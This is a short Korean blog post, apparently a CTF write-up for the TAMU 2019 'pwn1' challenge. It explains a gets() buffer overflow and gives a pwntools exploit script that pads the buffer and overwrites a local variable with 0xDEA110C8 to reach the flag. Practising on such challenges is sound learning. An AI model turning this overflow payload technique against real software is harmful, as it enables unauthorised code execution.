System/PWNABLE
[TAMU 2019] pwn1
ElAsJay
2020. 5. 30. 03:12
728x90
checksec
IDA로 pseudo code 확인
name, quest에 정답이 들어가도록 하고
gets(&s)을 이용해서 s에 dummy값을 넣어 overflow 시켜 v5의 값을 0xDEA110C8로 바꿈
./pwn1
대충 이런식으로 작동 >> name, quest를 위와 같이 입력해야 다음 진행 가능
문자열 s와 v5의 거리 = 0x3B-0x10
>> dummy값으로 채워주기
from pwn import *
p=process("./pwn1")
p.sendlineafter("What... is your name?","Sir Lancelot of Camelot")
p.sendlineafter("What... is your quest?","To seek the Holy Grail.")
pl="A"*(0x3B-0x10)
pl+=p32(0xDEA110C8)
p.recvuntil("What... is my secret?")
p.sendline(pl)
p.interactive()
SMALL